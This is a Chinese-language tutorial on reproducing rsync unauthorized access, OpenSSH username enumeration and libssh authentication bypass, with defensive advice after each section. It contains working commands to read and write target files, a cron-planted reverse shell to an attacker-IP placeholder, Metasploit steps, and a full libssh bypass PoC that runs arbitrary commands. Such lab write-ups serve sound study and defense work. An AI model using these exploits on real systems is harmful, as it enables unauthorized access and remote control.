服务攻防-应用协议rsync&ssh漏洞复现
字数 885 2025-08-10 09:43:36
应用协议漏洞复现:rsync与SSH协议安全分析
1. rsync未授权访问漏洞
1.1 rsync协议概述
- rsync是Linux下的数据备份工具,支持通过rsync协议和SSH协议进行远程文件传输
- 默认监听端口:873
- 漏洞成因:服务配置不当导致未授权访问
1.2 漏洞检测
rsync rsync://目标IP:873/
1.3 漏洞利用
1.3.1 查看模块列表
rsync rsync://目标IP:873/src/
1.3.2 下载文件
rsync -av rsync://目标IP:873/src/etc/passwd ./
1.3.3 上传文件
rsync ./passwd rsync://目标IP:873/src/
1.3.4 反弹Shell利用
- 查看目标crontab文件:
rsync -av rsync://目标IP:873/src/etc/crontab ./
- 创建反弹Shell脚本(shell文件内容):
#!/bin/bash
/bin/bash -i >& /dev/tcp/攻击者IP/6666 0>&1
- 赋予执行权限:
chmod +x shell
- 上传至cron.hourly目录:
rsync -av shell rsync://目标IP:873/src/etc/cron.hourly/
- 本地监听:
nc -lvvp 6666
1.4 防御措施
- 配置ACL限制访问IP
- 设置访问密码认证
- 限制模块访问权限
2. OpenSSH用户名枚举漏洞(CVE-2018-15473)
2.1 漏洞描述
- 影响版本:OpenSSH 7.7之前版本
- 漏洞类型:信息泄露
- 漏洞效果:攻击者可枚举系统中存在的用户名
2.2 漏洞验证
- 使用exp工具:
python sshUsernameEnumExploit.py --port 22 --userList username.txt 目标IP
- 使用Metasploit框架:
msfconsole
search ssh
use auxiliary/scanner/ssh/ssh_enumusers
set rhosts 目标IP
set rport 22
set user_file "字典路径"
run
2.3 防御措施
- 升级OpenSSH至最新版本
- 配置Fail2Ban等防护工具
- 限制SSH访问IP
3. libssh身份验证绕过漏洞(CVE-2018-10993)
3.1 漏洞描述
- libssh是一个实现SSHv2协议的多平台C库
- 漏洞位置:服务器端状态机逻辑错误
- 漏洞效果:攻击者可在认证成功前发送MSG_USERAUTH_SUCCESS消息,绕过认证
3.2 漏洞利用(PoC)
#!/usr/bin/env python3
import sys
import paramiko
import socket
import logging
logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
bufsize = 2048
def execute(hostname, port, command):
sock = socket.socket()
try:
sock.connect((hostname, int(port)))
message = paramiko.message.Message()
transport = paramiko.transport.Transport(sock)
transport.start_client()
message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
transport._send_message(message)
client = transport.open_session(timeout=10)
client.exec_command(command)
stdout = client.makefile("rb", bufsize)
stderr = client.makefile_stderr("rb", bufsize)
output = stdout.read()
error = stderr.read()
stdout.close()
stderr.close()
return (output+error).decode()
except paramiko.SSHException as e:
logging.exception(e)
logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
except socket.error:
logging.debug("Unable to connect.")
return None
if __name__ == '__main__':
print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))
3.3 利用示例
python libssh_poc.py 目标IP 2222 "id"
python libssh_poc.py 目标IP 2222 "whoami"
python libssh_poc.py 目标IP 2222 "touch /123.txt"
python libssh_poc.py 目标IP 2222 "ls /"
3.4 防御措施
- 升级libssh至修复版本
- 限制SSH服务的网络访问
- 监控异常认证尝试
4. 总结
本文详细分析了三种常见应用协议漏洞:
- rsync未授权访问漏洞:由于配置不当导致文件系统完全暴露
- OpenSSH用户名枚举漏洞(CVE-2018-15473):允许攻击者枚举有效用户名
- libssh认证绕过漏洞(CVE-2018-10993):可完全绕过SSH认证机制
针对这些漏洞,管理员应:
- 及时更新相关服务软件
- 严格配置访问控制
- 监控异常访问行为
- 遵循最小权限原则配置服务